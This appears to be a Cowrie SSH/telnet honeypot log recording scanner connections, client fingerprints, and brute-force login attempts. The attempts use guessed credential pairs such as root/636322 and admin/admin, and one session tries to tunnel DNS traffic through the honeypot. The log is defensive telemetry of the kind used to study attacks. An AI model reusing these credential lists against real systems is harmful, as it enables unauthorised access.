{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:17.174884Z","src_ip":"62.133.63.178","session":"144f9454ab06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"636322","message":"login attempt [root/636322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:17.538173Z","src_ip":"62.133.63.178","session":"144f9454ab06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:18.662163Z","src_ip":"62.133.63.178","session":"144f9454ab06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":48530,"dst_ip":"159.203.135.109","dst_port":23,"session":"683c2a603e00","protocol":"telnet","message":"New connection: 79.139.59.21:48530 (159.203.135.109:23) [session: 683c2a603e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:35.851648Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46606,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eb7a3d131d4","protocol":"ssh","message":"New connection: 87.251.64.176:46606 (10.17.0.5:22) [session: 1eb7a3d131d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:37.754660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:37.759067Z","src_ip":"87.251.64.176","session":"1eb7a3d131d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:37.853058Z","src_ip":"87.251.64.176","session":"1eb7a3d131d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:38.137360Z","src_ip":"87.251.64.176","session":"1eb7a3d131d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:38.234640Z","session":"1eb7a3d131d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:38.330418Z","src_ip":"87.251.64.176","session":"1eb7a3d131d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:38.427656Z","src_ip":"87.251.64.176","session":"1eb7a3d131d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":39906,"dst_ip":"159.203.135.109","dst_port":22,"session":"58388a772ff2","protocol":"ssh","message":"New connection: 103.13.206.227:39906 (159.203.135.109:22) [session: 58388a772ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:59.724665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:59.730044Z","src_ip":"103.13.206.227","session":"58388a772ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:48:59.971064Z","src_ip":"103.13.206.227","session":"58388a772ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1!","message":"login attempt [root/P@ssw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:00.971137Z","src_ip":"103.13.206.227","session":"58388a772ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:02.215050Z","src_ip":"103.13.206.227","session":"58388a772ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":48408,"dst_ip":"10.17.0.5","dst_port":22,"session":"395ddc504381","protocol":"ssh","message":"New connection: 193.24.211.100:48408 (10.17.0.5:22) [session: 395ddc504381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:07.171605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:07.178153Z","src_ip":"193.24.211.100","session":"395ddc504381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:07.286689Z","src_ip":"193.24.211.100","session":"395ddc504381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Welcome1","message":"login attempt [admin/Welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:07.728007Z","src_ip":"193.24.211.100","session":"395ddc504381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:08.852633Z","src_ip":"193.24.211.100","session":"395ddc504381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56890,"dst_ip":"10.17.0.5","dst_port":22,"session":"34a1e9aac961","protocol":"ssh","message":"New connection: 147.45.199.80:56890 (10.17.0.5:22) [session: 34a1e9aac961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:11.842066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:11.850890Z","src_ip":"147.45.199.80","session":"34a1e9aac961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:11.951070Z","src_ip":"147.45.199.80","session":"34a1e9aac961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"naamanaama","message":"login attempt [root/naamanaama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:12.251407Z","src_ip":"147.45.199.80","session":"34a1e9aac961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:13.354475Z","src_ip":"147.45.199.80","session":"34a1e9aac961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59506,"dst_ip":"159.203.135.109","dst_port":22,"session":"904f39c5ad13","protocol":"ssh","message":"New connection: 62.133.62.83:59506 (159.203.135.109:22) [session: 904f39c5ad13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:14.407443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:14.413766Z","src_ip":"62.133.62.83","session":"904f39c5ad13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:14.493552Z","src_ip":"62.133.62.83","session":"904f39c5ad13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01234567890","message":"login attempt [root/01234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:14.733477Z","src_ip":"62.133.62.83","session":"904f39c5ad13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:15.816042Z","src_ip":"62.133.62.83","session":"904f39c5ad13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.91399431228638,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:31.765519Z","src_ip":"79.139.59.21","session":"683c2a603e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":52968,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a880bda2bb","protocol":"ssh","message":"New connection: 193.228.128.84:52968 (159.203.135.109:22) [session: 46a880bda2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:49.333144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:49.345993Z","src_ip":"193.228.128.84","session":"46a880bda2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:49.447501Z","src_ip":"193.228.128.84","session":"46a880bda2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou2012","message":"login attempt [root/loveyou2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:49.753210Z","src_ip":"193.228.128.84","session":"46a880bda2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:49:50.858810Z","src_ip":"193.228.128.84","session":"46a880bda2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":56032,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7261acc01e","protocol":"ssh","message":"New connection: 103.149.170.125:56032 (10.17.0.5:22) [session: 4f7261acc01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:01.606813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:01.617497Z","src_ip":"103.149.170.125","session":"4f7261acc01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:01.877825Z","src_ip":"103.149.170.125","session":"4f7261acc01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01011994","message":"login attempt [root/01011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:50:02.976915Z","src_ip":"103.149.170.125","session":"4f7261acc01e","protocol":"ssh"}
